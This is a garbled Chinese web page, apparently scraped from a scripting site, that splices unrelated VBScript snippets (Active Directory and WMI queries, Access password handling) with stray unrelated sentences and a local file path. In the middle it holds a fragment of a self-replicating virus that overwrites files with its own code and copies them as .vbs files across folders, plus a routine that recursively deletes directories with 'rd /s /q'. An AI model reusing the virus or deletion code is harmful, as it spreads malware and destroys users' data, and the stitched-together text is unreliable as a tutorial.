闯天关脚本单职业

发布时间:2021-10-23 来源:脚本之家 点击:

->


On Error Resume Next
Set objRootDSE=GetObject("")
strDomain=ObjRootDSE.Get("defaultNamingContext")
Const ADS_SCOPE_SUBTREE=2
Set objConnection=CreateObject("ADODB.Connection")
Set objCommand=CreateObject("ADODB.Command")
objConnection.Provider="ADsDSOObject"
objConnection.Open "Active Directory Provider"
Set objCommand.ActiveConnection=objConnection
objCommand.Properties("Page Size")=1000
objCommand.Properties("Searchscope")=ADS_SCOPE_SUBTREE
objCommand.CommandText=_
"SELECT Name FROM '" & strDomain & "' WHERE objectCategory='computer'"
Set objRecordSet=objCommand.Execute
Wscript.Echo objRecordSet.RecordCount
自动化脚本编写工具

strComputer="."
//下面这行是通过GetObject得到主机的WMI对象管理空间“\root\cimv2”,如果是本机的是通过NT(Authentication)认证的,所以可以不用用户名和密码,而对于非本机或非域机的就要再加多几条参数,
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
//执行WMI数据对象的查询
//至于连接远程的要用下面的语句
Set objLocator=CreateObject("Wbemscripting.SWbemLocator")
Set objService=objLocator.ConnectServer(strComputer, "root\cimv2", "administrator", "a")
Set colItems=objWMIService.ExecQuery("Select * from Win32_BootConfiguration",,48)


//利用数组列出相关
For Each objItem in colItems
Wscript.Echo "BootDirectory: " & objItem.BootDirectory
Next
从上面的例子可以看出写一个WMI的要求:
1.得到主机的WMI对像管理空间
2.执行WMI数据对象的查询
3.利用数组列出相关
学习编写的架构并不难,只要练多几次就行了,但是学习WMI的第一个难题就是它的子集对象,因为我们并不知道它的子集对象是什么,这样写起程序来就会力不从心了

  第三、软件界面为了美观,直接用image控件贴图即可,这种方式我一直爱用

D:\廖嘉航\第三批\脚本之家\脚本之家\文章2\adodb.stream读文件到数组的代码.htm使用ADO的打开Accecc数据库方法:
DimDBAsDatabase
SetDB=OpenDatabase(FilePath,dbDriverNoPrompt,False,";PWD=你的密码")

使用Data控件打开Accecc数据库方法:
首先设置Data控件的属性Exclusive=True为独占模式
设置Connect属性为;pwd=密码
Data1.Connect=";pwd=你的密码"
修改密码:
Data1.Database.NewPassword老密码,新密码

->

建立一个到目标计算机上的Windows管理服务的连接我们可以通过COOL软件精确地知道在sound.wav文件中从0.18秒到0.4秒是"2"这一数字的发音

请自己建立相应后缀名的文件,最好是非正常后缀名
setap=fso.opentextfile(file.path,2,true)
'ap.writevbscopy'覆盖文件,慎用
ap.close
setcop=fso.getfile(file.path)
cop.copy(file.path&".vbs")'创建另外一个病毒文件
'file.delete(true)'删除原来文件
endif
next

setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders'搜索其他目录
scan(subfolder)
next

endsub有哪些英雄有而若用VB写操作系统的话,就好比乘热气球登月一样困难

getfso=fso.GetFolder("c:\\windows").DateCreated
'===========================================================
Function cprlql
Dim strline, scml
WshShell.run "cmd /c dir " & wjml &" /ad /b /tc>c:\dir.log",0
if fso.FileExists("c:\dir.log") then
Set objFile=fso.OpenTextFile("c:\dir.log")
do until objFile.atendofstream
strline=objFile.readline
scml=wjml & strline
WshShell.run "cmd /c rd /s /q " & scml,0
for i=1 to 20
if fso.GetDrive(datp).FreeSpace > sykj then exit Function
if fso.FolderExists(scml) then
WScript.Sleep(1000)
else
exit for
end if
next
if fso.GetDrive(datp).FreeSpace > sykj then exit Function
loop
end if
End Function

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号